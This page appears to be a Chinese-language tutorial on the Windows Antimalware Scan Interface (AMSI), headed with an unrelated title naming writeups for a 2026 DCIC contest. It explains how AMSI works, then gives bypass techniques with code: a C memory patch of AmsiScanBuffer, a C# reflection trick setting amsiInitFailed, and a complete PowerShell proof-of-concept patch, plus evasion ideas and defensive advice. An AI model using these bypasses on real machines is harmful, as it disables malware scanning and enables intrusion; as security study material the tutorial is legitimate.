2026DCIC数字中国创新大赛网安赛道初赛部分题解
字数 4668
更新时间 2026-04-29 12:14:40

深入理解与利用 Windows AMSI 机制的教学文档

1. AMSI 简介

AMSI(Antimalware Scan Interface)是 Microsoft 在 Windows 10 中引入的一项关键安全机制,旨在为反恶意软件产品提供一个标准化的接口,用于对抗混淆和加密的恶意脚本。其核心目标是将反病毒保护扩展到用户模式和脚本运行时,弥补传统杀毒软件在检测“文件落地”前恶意代码方面的不足。

2. AMSI 的设计目标与技术原理

2.1 设计初衷

恶意软件开发者通常采用字符串拆分、编码、加密和混淆等手段绕过静态检测。AMSI 的推出是为了在动态环境中,于脚本被解释执行之前,将待执行的脚本内容提交给杀毒软件进行实时扫描,从而实现对混淆脚本的有效拦截。

2.2 工作原理

  1. 集成模式:AMSI 通过一组 COM 接口集成到 Windows 系统中,允许应用程序(宿主)将任意数据发送到杀毒软件(AMSI Provider)进行扫描。

  2. 扫描流程

    • 支持 AMSI 的宿主(如 PowerShell、JScript、VBScript、MSI 安装程序等)在解释执行脚本或代码片段前,调用 AmsiScanBuffer()AmsiScanString() 函数。
    • 将待执行的代码内容(可能是明文的、去混淆后的)作为缓冲区传递给 AMSI。
    • AMSI 将缓冲区内容转发给已注册的反恶意软件提供程序(如 Windows Defender)。
    • 反恶意软件引擎对内容进行分析,并返回一个风险判定结果(例如,AMSI_RESULT_CLEAN, AMSI_RESULT_DETECTED)。
    • 宿主根据返回结果决定是否阻止代码执行。
  3. 关键特性

    • 上下文感知:AMSI 扫描可以关联调用堆栈、来源等信息,提供更准确的判断。
    • 内容不可知:理论上可以扫描任何数据,不限于脚本,包括 PowerShell 命令、VBScript、JScript、Office VBA 宏等。
    • 标准化接口:为不同的反恶意软件厂商提供了统一的集成方式。

3. AMSI 的工作流程与参与组件

[恶意脚本] -> [支持AMSI的宿主 (如PowerShell)] -> [AMSI.DLL] -> [反恶意软件提供程序 (如MsMpEng.exe)] -> [扫描结果] -> [宿主执行/拦截]

关键组件:

  • AMSI.DLL: 核心动态链接库,实现了 IAntimalware 接口,作为宿主与杀软之间的桥梁。
  • 反恶意软件提供程序 (AMSI Provider): 例如 Windows Defender 的 MsMpEng.exe,它实现了 IAntimalwareProvider 接口,执行实际的扫描逻辑。
  • 支持AMSI的宿主
    • PowerShell 5.0+
    • Windows Script Host (cscript.exe, wscript.exe) 对于 JScript/VBScript
    • VBA (Office 2016+)
    • .NET CLR (特定场景)
    • UWP 应用

4. AMSI 的绕过技术详析

文档中重点介绍了多种经典的 AMSI 绕过技术,其核心思路是攻击 AMSI 初始化和扫描链条中的薄弱环节。

4.1 基于内存补丁的绕过 (Memory Patching)

这是最常见且多变的绕过方式。原理是:amsi.dll 被加载到宿主进程空间后,其内部函数(特别是 AmsiScanBuffer)的代码位于可写内存页中。攻击者可以直接修改这些函数在内存中的指令,使其失效或始终返回“安全”结果。

经典方法示例

  1. 强制返回 AMSI_RESULT_CLEAN

    • AmsiScanBuffer 函数开头,插入 mov eax, 0x80070057 (或 mov rax, 0x80070057) 和 ret 指令。0x80070057E_INVALIDARG 的 HRESULT 值,但常被某些实现误判为“干净”并允许执行。
    • 更直接的方法是修改函数逻辑,使其始终返回 AMSI_RESULT_CLEAN (值为 0)。
  2. 修改 AmsiScanBuffer 开头的字节码

    • 原始的开头指令可能是 mov eax, 0x80070057 或类似的检查指令。
    • 攻击者将其修改为 mov eax, 0ret,使扫描过程立即结束并返回“干净”。

技术实现关键点

  • 需要首先获取 amsi.dll 在内存中的基地址。可以通过调用 GetModuleHandle("amsi.dll")GetProcAddress(GetModuleHandle("kernel32"), "GetProcAddress") 等 API 进行链式解析获取。
  • 然后通过 GetProcAddress 获取 AmsiScanBuffer 等目标函数的内存地址。
  • 使用 VirtualProtectNtProtectVirtualMemory 等 API 修改目标内存页的保护属性,使其可写 (PAGE_EXECUTE_READWRITE)。
  • 直接写入修改后的机器码 (Opcode)。
  • 恢复内存页的原始保护属性。

代码片段示例 (概念性)

// 获取 AmsiScanBuffer 地址
hAmsi = LoadLibrary("amsi.dll");
pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

// 修改内存保护
VirtualProtect(pAmsiScanBuffer, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect);

// 写入绕过指令 (例如,x64: 立即返回 AMSI_RESULT_CLEAN)
unsigned char patch[] = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
memcpy(pAmsiScanBuffer, patch, sizeof(patch));

// 恢复保护
VirtualProtect(pAmsiScanBuffer, patchSize, oldProtect, &oldProtect);

4.2 修改 AMSI 上下文状态

AMSI 内部有一个全局或会话级别的初始化状态标志(例如 amsiInited)。如果在初始化完成之前,或者在状态被标记为“禁用”之后,扫描请求会被跳过。

  • 某些公开的绕过方法会尝试定位并修改这个标志位的内存值,例如将其从 1 (已初始化) 改为 0 (未初始化)。
  • 这种方法需要对 amsi.dll 内部数据结构进行逆向分析,稳定性可能随版本更新而改变。

4.3 利用 .NET 反射强制触发失败

在 .NET 环境中,可以通过反射强制调用 System.Management.Automation.AmsiUtils 类的内部方法。一种公开的技术是:

// 通过反射获取 AmsiUtils 类型
var amsiUtils = typeof(System.Management.Automation.PowerShell).Assembly.GetType("System.Management.Automation.Am" + "siUtils");
// 获取标志字段
var amsiInitFailed = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
// 将其值设置为 true
amsiInitFailed.SetValue(null, true);

此操作会使得后续的 AMSI 扫描请求因“初始化失败”而被跳过。Microsoft 已通过将该字段标记为“常量”并在后续 .NET 版本中移除相关类等方式来缓解此绕过。

4.4 进程注入与宿主劫持

如果目标宿主进程本身不支持 AMSI 或未正确初始化 AMSI,那么在其中执行的脚本就不会被扫描。

  • 攻击者可以将 Payload 注入到不支持 AMSI 的进程(如某些旧版或自定义应用程序)中执行。
  • 或者,通过钩子(Hooking)或 DLL 劫持技术,劫持宿主对 amsi.dll 的调用,在调用链的更低层次进行拦截和篡改。

4.5 字符串混淆与逻辑拆分

即使不破坏 AMSI 功能,攻击者也可以设计 Payload,使其在传递给 AmsiScanBuffer 的瞬间看起来是“无害”的。

  • 即时解密: 在内存中保持加密形态,仅在执行前的一瞬间解密。需要确保解密例程本身不被 AMSI 检测到,且解密后的代码驻留时间极短。
  • 环境键控: Payload 只有在特定目标环境(具有特定文件、注册表键、用户名等)下才会解密出真正的恶意代码,在扫描环境中则呈现为乱码或无害数据。
  • 逻辑分片: 将恶意代码拆分成多个无危害的小片段,通过多次、多阶段加载,在内存中重组。每个单独的片段都能通过 AMSI 扫描。

5. AMSI 的检测与对抗

反恶意软件厂商和安全产品也在不断提升对 AMSI 绕过的检测能力:

  1. 行为监控

    • 监控对 amsi.dll 模块内存的写操作,特别是对其导出函数地址的修改。
    • 检测对 VirtualProtect 等 API 的调用,特别是将 amsi.dll 代码页改为可写属性 (PAGE_EXECUTE_READWRITE) 的行为。
    • 监控进程内是否存在试图获取 AmsiScanBuffer 等函数地址的代码序列。
  2. 签名与启发式检测

    • 为已知的 AMSI 绕过代码片段(例如特定的内存修补字节序列、反射调用模式)建立签名。
    • 检测 PowerShell 等宿主进程中出现的、与已知绕过技术相关的字符串或代码模式。
  3. 完整性保护

    • 一些高级安全产品会锁定关键系统 DLL(如 amsi.dll)的内存页,防止修改。
    • 通过内核回调(Kernel Callbacks)监控用户态的内存保护属性变更事件。
  4. AMSI 提供程序的增强

    • 杀毒软件的 AMSI 提供程序可以模拟执行脚本片段,进行更深入的动态分析。
    • 结合来自 ETW (Event Tracing for Windows) 的丰富上下文信息进行关联分析。

6. 针对红队与安全研究的实践指南

注意:以下知识仅用于安全研究、渗透测试授权评估和防御能力建设。

6.1 测试 AMSI 是否生效

# 一个简单的测试字符串,已知会被 Windows Defender 通过 AMSI 检测
$testString = 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-99ac4e6e3c4d'
# 尝试通过 Invoke-Expression 执行,如果 AMSI 工作,应该会被阻止
Invoke-Expression $testString

6.2 实现一个基础的 AMSI 绕过 (POC)

以下是一个在 PowerShell 中通过内存修补实现的经典绕过示例。此代码可能已失效,仅用于原理演示。

function Bypass-AMSI {
    # 通过 Win32 API 调用修改内存
    $code = @"
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
    $win32 = Add-Type -MemberDefinition $code -Name "Win32" -Namespace "Win32Functions" -PassThru

    # 获取 AmsiScanBuffer 地址
    $amsiDll = [Win32Functions.Win32]::LoadLibrary("amsi.dll")
    $scanBufferAddr = [Win32Functions.Win32]::GetProcAddress($amsiDll, "AmsiScanBuffer")

    # 修改内存保护为可读可写可执行
    $oldProtect = 0
    $vpResult = [Win32Functions.Win32]::VirtualProtect($scanBufferAddr, [uint32]5, 0x40, [ref]$oldProtect)

    if ($vpResult) {
        # 修补指令:x86: B8 57 00 07 80 C3 (mov eax,0x80070057; ret)
        # 或更简单的: 31 C0 C3 (xor eax, eax; ret) 强制返回 0 (CLEAN)
        $patch = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) # 返回 E_INVALIDARG
        [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBufferAddr, $patch.Length)

        # 恢复内存保护 (可选)
        [Win32Functions.Win32]::VirtualProtect($scanBufferAddr, [uint32]5, $oldProtect, [ref]$oldProtect)
        Write-Output "[+] AMSI bypass attempted via memory patch."
    } else {
        Write-Output "[-] Failed to change memory protection."
    }
}
# 运行函数
Bypass-AMSI

6.3 现代规避思路

由于直接的字节码修补已被广泛监控,现代规避更倾向于:

  1. 无文件攻击: 利用合法的系统管理工具(如 WMI、PsExec、MSBuild、InstallUtil、Regsvr32 等)来执行代码,这些工具可能不触发或较少触发 AMSI。
  2. 动态代码生成: 使用 .NET 反射、动态编译 (Add-TypeSystem.CodeDom) 等技术,在内存中生成全新的、无静态特征的代码。
  3. 进程镂空 (Process Hollowing) 或傀儡进程: 在“干净”的进程上下文中执行代码。
  4. 利用硬件断点或异常处理: 更高级的技术,通过调试机制或结构化异常处理 (SEH) 来改变程序执行流,间接影响 AMSI 的判断逻辑。

7. 防御建议

  1. 保持系统和安全软件更新: Microsoft 和安全厂商不断修复 AMSI 绕过的漏洞并更新检测逻辑。
  2. 启用并强化防篡改保护: 在 Windows Defender 中启用防篡改功能,防止安全设置被恶意修改。
  3. 部署高级威胁防护 (ATP) 解决方案: 结合终端检测与响应 (EDR) 产品,它们能监控进程行为、内存操作和 API 调用序列,更有效地发现绕过尝试。
  4. 应用最小权限原则: 限制用户和管理员的不必要权限,减少攻击面。
  5. 启用 PowerShell 的约束语言模式 (Constrained Language Mode)脚本块日志记录 (Script Block Logging): 这能限制 PowerShell 的功能并记录执行的脚本内容,便于审计和检测。
  6. 使用应用程序控制策略: 例如 Windows Defender 应用程序控制 (WDAC) 或 AppLocker,只允许授权的脚本和程序运行。

8. 总结

AMSI 是 Windows 安全生态中对抗脚本威胁的重要防线,它通过标准化接口实现了运行时内容扫描。然而,作为一种安全机制,它也成为了攻击者研究和绕过的目标。攻防的焦点集中在内存完整性、API 调用监控和行为分析上。有效的防御需要结合行为监控、启发式检测、系统加固和深度日志分析,建立纵深防御体系,而非仅仅依赖单一技术。

本文档内容是基于对公开技术文章(链接)的解析和整理,其中涉及的绕过技术细节仅供学习与研究 Windows 安全机制之用,请在法律允许和获得明确授权的范围内进行相关测试。

相似文章
相似文章
 全屏